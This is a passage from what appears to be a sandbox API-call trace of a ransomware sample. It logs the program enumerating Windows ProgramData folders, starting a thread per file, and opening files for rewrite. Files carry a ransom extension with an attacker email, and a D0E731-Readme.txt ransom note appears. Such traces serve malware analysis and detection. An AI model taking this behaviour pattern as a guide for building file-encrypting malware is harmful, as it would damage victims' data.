Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.650] wcscat (in: _Dest=0x2fe2010, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.650] wcscat (in: _Dest=0x2fe2010, _Source="3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0176.651] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ca0689a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf23, dwReserved0=0x0, dwReserved1=0x0, cFileName="4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="4__POW~1.D0E")) returned 1 [0176.651] wcscmp (_String1="4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.651] wcscmp (_String1="4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2148 [0176.651] wcscpy (in: _Dest=0x2fe2148, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.651] wcscat (in: _Dest=0x2fe2148, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.651] wcscat (in: _Dest=0x2fe2148, _Source="4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0176.652] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c9dffbf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="5__POW~1.D0E")) returned 1 [0176.652] wcscmp (_String1="5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.652] wcscmp (_String1="5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2eb0 [0176.652] wcscpy (in: _Dest=0x2fe2eb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.652] wcscat (in: _Dest=0x2fe2eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.652] wcscat (in: _Dest=0x2fe2eb0, _Source="5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0176.653] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c9b9d8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="6__POW~1.D0E")) returned 1 [0176.653] wcscmp (_String1="6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.653] wcscmp (_String1="6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe12a8 [0176.653] wcscpy (in: _Dest=0x2fe12a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0176.653] wcscat (in: _Dest=0x2fe12a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0176.653] wcscat (in: _Dest=0x2fe12a8, _Source="6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe12a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0176.654] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c8aeb81, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c8aeb81, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c8d4c6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.654] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.654] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.654] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c8aeb81, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c8aeb81, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c8d4c6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.654] FindClose (in: hFindFile=0x2f802e0 | out: hFindFile=0x2f802e0) returned 1 [0176.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023328) returned 1 [0176.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6ca8) returned 1 [0176.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b070) returned 1 [0176.655] RtlExitUserThread (Status=0x0) Thread: id = 2499 os_tid = 0xfb0 [0176.376] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.376] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.377] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.377] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305dca0) returned 1 [0176.377] RtlExitUserThread (Status=0x0) Thread: id = 2500 os_tid = 0xfb4 [0176.378] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20 [0176.379] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0176.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.379] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0176.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1880) returned 1 [0176.380] RtlExitUserThread (Status=0x0) Thread: id = 2501 os_tid = 0xfb8 [0176.381] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20 [0176.382] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0176.382] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.382] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0176.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0bd8) returned 1 [0176.382] RtlExitUserThread (Status=0x0) Thread: id = 2502 os_tid = 0xfbc [0176.384] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20 [0176.385] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0176.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.386] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0176.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1958) returned 1 [0176.386] RtlExitUserThread (Status=0x0) Thread: id = 2503 os_tid = 0xfc0 [0176.387] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20 [0176.389] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0176.389] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.389] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0176.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff17a8) returned 1 [0176.389] RtlExitUserThread (Status=0x0) Thread: id = 2504 os_tid = 0xfc4 [0176.390] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20 [0176.390] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0176.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.391] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0176.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0cb0) returned 1 [0176.391] RtlExitUserThread (Status=0x0) Thread: id = 2505 os_tid = 0xfc8 [0176.392] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20 [0176.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0176.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.394] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0176.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc37b8) returned 1 [0176.394] RtlExitUserThread (Status=0x0) Thread: id = 2506 os_tid = 0xfcc [0176.395] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20 [0176.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0176.395] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0176.395] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc33a8) returned 1 [0176.395] RtlExitUserThread (Status=0x0) Thread: id = 2507 os_tid = 0xfd0 [0176.396] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20 [0176.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0176.400] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.401] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0176.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0d88) returned 1 [0176.401] RtlExitUserThread (Status=0x0) Thread: id = 2508 os_tid = 0xfd4 [0176.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa6f00 [0176.402] wcscpy (in: _Dest=0x2fa6f00, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0176.402] wcscat (in: _Dest=0x2fa6f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" [0176.402] wcscat (in: _Dest=0x2fa6f00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*" [0176.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023590 [0176.402] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fca0 [0176.403] wcscmp (_String1=".", _String2=".") returned 0 [0176.403] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.403] wcscmp (_String1="..", _String2=".") returned 1 [0176.403] wcscmp (_String1="..", _String2="..") returned 0 [0176.403] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x3023590 | out: lpFindFileData=0x3023590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0176.403] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0176.403] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0176.403] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97218 [0176.403] wcscpy (in: _Dest=0x2f97218, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0176.403] wcscat (in: _Dest=0x2f97218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\" [0176.403] wcscat (in: _Dest=0x2f97218, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" [0176.645] CreateThread (in: lpThreadAttributes=0x0, 